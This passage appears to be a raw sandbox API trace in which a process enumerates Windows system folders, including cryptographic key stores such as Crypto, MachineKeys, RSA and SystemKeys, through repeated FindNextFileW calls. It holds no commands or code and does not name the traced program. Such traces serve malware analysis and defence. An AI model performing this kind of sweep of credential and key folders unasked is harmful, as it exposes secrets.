lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49bee514, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0x3b87bb60, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b87bb60, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{9AC08E99-230B-47e8-9721-4577B7F124EA}", cAlternateFileName="{9AC08~1")) returned 0 [0281.162] FindClose (in: hFindFile=0x6ec370 | out: hFindFile=0x6ec370) returned 1 [0281.162] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0281.162] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x77356b64, ftLastAccessTime.dwHighDateTime=0x1d32793, ftLastWriteTime.dwLowDateTime=0x77356b64, ftLastWriteTime.dwHighDateTime=0x1d32793, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Crypto", cAlternateFileName="")) returned 1 [0281.163] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0281.163] FindNextFileW (in: hFindFile=0x6ec2f0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd330d8b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MachineKeys", cAlternateFileName="MACHIN~1")) returned 0 [0281.163] FindClose (in: hFindFile=0x6ec2f0 | out: hFindFile=0x6ec2f0) returned 1 [0281.163] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0281.163] FindNextFileW (in: hFindFile=0x6ec3f0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd33178c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Keys", cAlternateFileName="")) returned 1 [0281.163] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0281.163] FindNextFileW (in: hFindFile=0x6ec3f0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x416372c8, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x416372c8, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PCPKSP", cAlternateFileName="")) returned 1 [0281.163] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0281.163] FindNextFileW (in: hFindFile=0x6ec230, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd332abc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WindowsAIK", cAlternateFileName="WINDOW~1")) returned 0 [0281.163] FindClose (in: hFindFile=0x6ec230 | out: hFindFile=0x6ec230) returned 1 [0281.163] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0281.163] FindNextFileW (in: hFindFile=0x6ec3f0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x77356b64, ftLastAccessTime.dwHighDateTime=0x1d32793, ftLastWriteTime.dwLowDateTime=0x77356b64, ftLastWriteTime.dwHighDateTime=0x1d32793, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSA", cAlternateFileName="")) returned 1 [0281.164] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0281.164] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x4c150294, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x77356b64, ftLastAccessTime.dwHighDateTime=0x1d32793, ftLastWriteTime.dwLowDateTime=0x77356b64, ftLastWriteTime.dwHighDateTime=0x1d32793, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="S-1-5-18", cAlternateFileName="")) returned 1 [0281.164] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0281.164] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x4c150294, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x77356b64, ftLastAccessTime.dwHighDateTime=0x1d32793, ftLastWriteTime.dwLowDateTime=0x77356b64, ftLastWriteTime.dwHighDateTime=0x1d32793, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="S-1-5-18", cAlternateFileName="")) returned 0 [0281.164] FindClose (in: hFindFile=0x6ec170 | out: hFindFile=0x6ec170) returned 1 [0281.164] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0281.164] FindNextFileW (in: hFindFile=0x6ec3f0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcc3cbc1c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x7737cd02, ftLastAccessTime.dwHighDateTime=0x1d32793, ftLastWriteTime.dwLowDateTime=0x7737cd02, ftLastWriteTime.dwHighDateTime=0x1d32793, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SystemKeys", cAlternateFileName="SYSTEM~1")) returned 1 [0281.166] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0281.166] FindNextFileW (in: hFindFile=0x6ec3f0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcc3cbc1c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x7737cd02, ftLastAccessTime.dwHighDateTime=0x1d32793, ftLastWriteTime.dwLowDateTime=0x7737cd02, ftLastWriteTime.dwHighDateTime=0x1d32793, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SystemKeys", cAlternateFileName="SYSTEM~1")) returned 0 [0281.166] FindClose (in: hFindFile=0x6ec3f0 | out: hFindFile=0x6ec3f0) returned 1 [0281.166] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0281.167] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4badec, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DataMart", cAlternateFileName="")) returned 1 [0281.168] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0281.168] FindNextFileW (in: hFindFile=0x6ec0b0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bb986, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PaidWiFi", cAlternateFileName="")) returned 0 [0281.168] FindClose (in: hFindFile=0x6ec0b0 | out: hFindFile=0x6ec0b0) returned 1 [0281.169] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0281.169] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bc8c7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Device Stage", cAlternateFileName="DEVICE~1")) returned 1 [0281.171] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0281.171] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd554496, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8653f0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{8702d817-5aad-4674-9ef3-4d3decd87120}", cAlternateFileName="{8702D~1")) returned 1 [0281.172] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0281.172] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd554496, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8653f0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{8702d817-5aad-4674-9ef3-4d3decd87120}", cAlternateFileName="{8702D~1")) returned 0 [0281.172] FindClose (in: hFindFile=0x6ebeb0 | out: hFindFile=0x6ebeb0) returned 1 [0281.172] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0281.172] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd555071, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Task", cAlternateFileName="")) returned 1 [0281.173] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0281.173] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49316445, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x49316445, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x49316445, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd0a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 1 [0281.173] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0281.173] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd64a757, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2a1d79, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", cAlternateFileName="{E35BE~1")) returned 1 [0281.174] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0281.174] FindNextFileW (in: hFindFile=0x6ec3f0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd0a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 1 [0281.174] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0281.174] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd64a757, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2a1d79, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", cAlternateFileName="{E35BE~1")) returned 0 [0281.174] FindClose (in: hFindFile=0x6ebfb0 | out: hFindFile=0x6ebfb0) returned 1 [0281.175] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0281.175] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd555071, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Task", cAlternateFileName="")) returned 0 [0281.175] FindClose (in: hFindFile=0x6ec070 | out: hFindFile=0x6ec070) returned 1 [0281.175] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0281.177] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd64c64e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DeviceSync", cAlternateFileName="DEVICE~2")) returned 1 [0281.177] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0281.177] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb85cc8d2, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb85cc8d2, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Diagnosis", cAlternateFileName="DIAGNO~1")) returned 1 [0281.178] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0281.178] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd71bd25, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DRM", cAlternateFileName="")) returned 1 [0281.178] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0281.178] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd71c393, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Server", cAlternateFileName="")) returned 0 [0281.178] FindClose (in: hFindFile=0x6ebeb0 | out: hFindFile=0x6ebeb0) returned 1 [0281.179] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0281.179] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xfbfe5ab1, ftLastAccessTime.dwHighDateTime=0x1d3aafb, ftLastWriteTime.dwLowDateTime=0xfbfe5ab1, ftLastWriteTime.dwHighDateTime=0x1d3aafb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Event Viewer", cAlternateFileName="EVENTV~1")) returned 1 [0281.179] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0281.179] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc93dc4da, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc93dc4da, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ApplicationViewsRootNode", cAlternateFileName="APPLIC~1")) returned 0 [0281.179] FindClose (in: hFindFile=0x6ebfb0 | out: hFindFile=0x6ebfb0) returned 1 [0281.179] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0281.179] FindNextFileW (in: hFindFile=0x6ec2f0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc93dc4da, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc93dc4da, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Views", cAlternateFileName="")) returned 0 [0281.180] FindClose (in: hFindFile=0x6ec2f0 | out: hFindFile=0x6ec2f0) returned 1 [0281.180] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0281.180] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd7af95c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="IdentityCRL", cAlternateFileName="IDENTI~1")) returned 1 [0281.180] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0281.180] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x46b00d5c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x46b00d5c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="production", cAlternateFileName="PRODUC~1")) returned 1 [0281.180] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0281.180] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb66288f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xbd80b503, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcb66288f, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="temp", cAlternateFileName="")) returned 0 [0281.180] FindClose (in: hFindFile=0x6ebfb0 | out: hFindFile=0x6ebfb0) returned 1 [0281.181] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0281.181] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x46b00d5c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x46b00d5c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="production", cAlternateFileName="PRODUC~1")) returned 0 [0281.181] FindClose (in: hFindFile=0x6ec170 | out: hFindFile=0x6ec170) returned 1 [0281.181] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0281.182] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd06144, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd80cc32, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd06144, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MapData", cAlternateFileName="")) returned 1 [0281.182] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0281.182] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80d7aa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8b18c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MF", cAlternateFileName="")) returned 1 [0281.183] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0281.183] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80e29d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NetFramework", cAlternateFileName="NETFRA~1")) returned 1 [0281.183] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0281.183] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80f277, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BreadcrumbStore", cAlternateFileName="BREADC~1")) returned 0 [0281.183] FindClose (in: hFindFile=0x6ec4b0 | out: hFindFile=0x6ec4b0) returned 1 [0281.184] HeapFree (in: 